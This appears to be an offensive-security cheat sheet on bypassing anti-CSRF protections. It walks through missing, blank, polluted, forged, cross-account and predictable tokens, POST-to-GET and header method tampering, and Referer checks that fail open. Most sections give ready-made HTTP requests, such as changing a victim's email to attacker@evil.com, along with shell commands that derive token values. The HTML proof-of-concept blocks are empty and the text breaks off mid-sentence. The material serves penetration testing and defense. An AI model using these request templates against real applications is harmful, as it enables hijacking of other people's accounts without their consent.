# CSRF Token Bypass
> Defeating anti-CSRF defenses - weak token generation analysis (md5(username) and similar), null/blank/random token tricks, cross-account token reuse, Referer regex weakness, method tampering, double-submit cookie abuse via session fixation, and SameSite bypasses via subdomains.
## TL;DR
Anti-CSRF defenses exist to block CSRF, but a depressing fraction are buggy enough that the operator can route around them. The bypass categories, in order of how often they work:
```
# 1. Delete the token parameter entirely (app only checks "if present, validate")
# 2. Send a blank/null token value
# 3. Match the length but randomize the content (app only checks length)
# 4. Reuse a token from your own account (app validates format, not user-binding)
# 5. Method-tamper POST→GET (anti-CSRF only on POST)
# 6. Reverse-engineer the token formula (md5(username), sha1(date+user), etc.)
# 7. Bypass Referer regex (target.com matches target.com.evil.com)
# 8. Same-site exploitation when SameSite=Lax/None (subdomain XSS, etc.)
# 9. Session-fixation + double-submit cookie (fix the cookie, control the body)
```
Success indicator: a state-changing request that the target accepts despite either missing, fake, or wrong-context anti-CSRF data.
## The defenses, and why each is fragile
| Defense | What goes wrong |
| --- | --- |
| Per-session token | Validation might be "if token present, check; otherwise allow" |
| Per-request token | Same as per-session; or weak rotation lets stale tokens stay valid |
| Double-submit cookie | Cookie-fixation lets attacker control both halves |
| Origin/Referer check | Regex weakness, missing-header fallback, subdomain confusion |
| Custom header requirement | Some APIs are inconsistent about which endpoints enforce it |
| SameSite cookies | Subdomain XSS bypasses; cross-origin same-site relations |
| Encrypted/HMAC token | Replay attacks if token isn't bound to nonce/timestamp |
The recurring theme: a defense is only as strong as its weakest validation path. Apps with multiple entry points to the same action (web form, JSON API, GraphQL mutation, legacy endpoint) often defend one path and forget another.
## Category 1 - Delete the token parameter
The simplest bypass. Some apps' validation logic:
```
if (request.has_parameter('csrf_token')):
if not valid(request.csrf_token):
reject()
# (no else branch - request without csrf_token at all passes through)
```
The mistake is checking the token "if present" rather than always requiring it. Send the request without the token at all:
```http
POST /api/change-email HTTP/1.1
Host: target.com
Cookie: auth-session=...
Content-Type: application/x-www-form-urlencoded
email=attacker@evil.com
```
No `csrf_token` parameter. App accepts.
Equivalent in form CSRF:
```html
```
Always try this first.
### Variant: empty value
```http
POST /api/change-email HTTP/1.1
Cookie: auth-session=...
email=attacker@evil.com&csrf_token=
```
Empty string. Some apps check "is the field present" but treat empty as "skip validation."
### Variant: parameter pollution
```http
POST /api/change-email HTTP/1.1
Cookie: auth-session=...
email=attacker@evil.com&csrf_token=BAD&csrf_token=&csrf_token=
```
Multiple values for the same parameter. Some frameworks pick the first, some the last. If validation picks the first (`BAD`, rejected) but the action uses the last (empty, OK) - or vice versa - that's the bypass.
## Category 2 - Wrong-length / wrong-format token
```http
POST /api/change-email
Cookie: auth-session=...
email=attacker@evil.com&csrf_token=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```
Same length as a real token (32 hex chars), random content. Apps that only check `len(token) == 32` accept this.
Variants:
- All-zero token: `csrf_token=00000000000000000000000000000000`
- Reused-character: `csrf_token=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`
- Same prefix as your real token, junk suffix: `csrf_token=YOUR_REAL_PREFIX_THEN_GARBAGE_PADDING`
## Category 3 - Cross-account token
Register two accounts. Log in as account A, capture the CSRF token. Log into account B in a different browser. From the CSRF PoC, target account B's session but use account A's token.
Some apps validate "is this a valid CSRF token shape" without checking "is this *this user's* CSRF token."
```html
```
Send to the victim. Victim's cookie + your token. App checks "token has the right format/signature/HMAC" and accepts because it does - but the cookie belongs to the victim, so the action happens on the victim's account.
This is a common finding because per-user binding is an extra implementation step that's easy to skip.
## Category 4 - Predictable token
Some apps generate tokens deterministically. Common patterns to check:
```shell
# Patterns where TOKEN should equal the function output
echo -n 'username' | md5sum # md5(username)
echo -n 'username' | sha1sum # sha1(username)
echo -n "$(date +%Y-%m-%d)$USERNAME" | md5sum # md5(date + username)
echo -n "$USERNAME$SALT" | sha256sum # sha256(username + known salt)
# JWT decoded - sometimes the "csrf" claim is just base64(username)
echo -n 'admin' | base64
```
To check: register an account, capture your CSRF token, try the various formulas with your username. If any match, that's the algorithm. Now generate tokens for the victim:
```shell
$ echo -n 'victim_username' | md5sum
ec23c4e6e07ba43e0ad8d0eb24e6e6f9 -
```
Use that value as the CSRF token in your PoC. Validates correctly because the formula matches.
### Variants and their detection
| Algorithm | Detection |
| --- | --- |
| `md5(username)` | 32 hex chars; matches `echo -n USER \| md5sum` |
| `sha1(username)` | 40 hex chars; matches `echo -n USER \| sha1sum` |
| `sha256(username)` | 64 hex chars; matches `echo -n USER \| sha256sum` |
| `base64(username)` | Variable length; ends with padding `=` or `==` |
| `base64(username + secret)` | Decode → see if first N chars match username |
| `hex(timestamp)` | All-hex token where decode-as-int looks like Unix epoch |
| HMAC of session ID | Token is fixed but rotates when session changes |
| `random` | No pattern; varies between requests; can't predict |
### What to try
Always test:
1. `md5(username)` - most common naive choice
2. `sha1(username)` - second most common
3. `sha256(username)` - modern but still naive
4. `md5(username + "salt")` - try common salt strings like the app's name or domain
5. `base64(username)` - sometimes used by lazy implementations
If none match, the algorithm is probably random or HMAC-based - bypass via this path won't work.
## Category 5 - Method tampering
When the anti-CSRF check is implemented only for POST requests:
```python
# Vulnerable controller pattern
@app.route('/api/change-email', methods=['POST', 'GET'])
def change_email():
if request.method == 'POST':
if not valid_csrf(request.form['csrf_token']):
abort(403)
# Both POST and GET reach this - but only POST checks CSRF
new_email = request.values['email']
update_user_email(current_user, new_email)
return 'OK'
```
Send the request as GET:
```html
```
App routes the GET request, skips the CSRF check (because the check is wrapped in `if request.method == 'POST':`), and processes the action.
Always try the alternate method when CSRF is in place. Convert POST→GET by moving params to query string; convert GET→POST by submitting the form with method POST.
### Header method override
Some apps respect `X-HTTP-Method-Override` header for legacy reasons:
```html
```
Or:
```http
GET /api/change-email?email=attacker@evil.com HTTP/1.1
X-HTTP-Method-Override: POST
```
The app sees a GET (skips CSRF check) and then routes as POST (does the action). Some Rails / Spring / Symfony apps have this enabled by default.
## Category 6 - Referer / Origin bypasses
When the app validates `Referer` or `Origin` header instead of (or in addition to) a token:
### Missing-header fallback
```http
POST /api/change-email
Cookie: auth-session=...
email=attacker@evil.com
```
No `Referer:` or `Origin:` at all. Apps that "allow if missing" fail open.
To strip these headers from your PoC:
```html
```
Or `` for link-based triggers. The `Origin` header is harder to strip on a normal form POST but `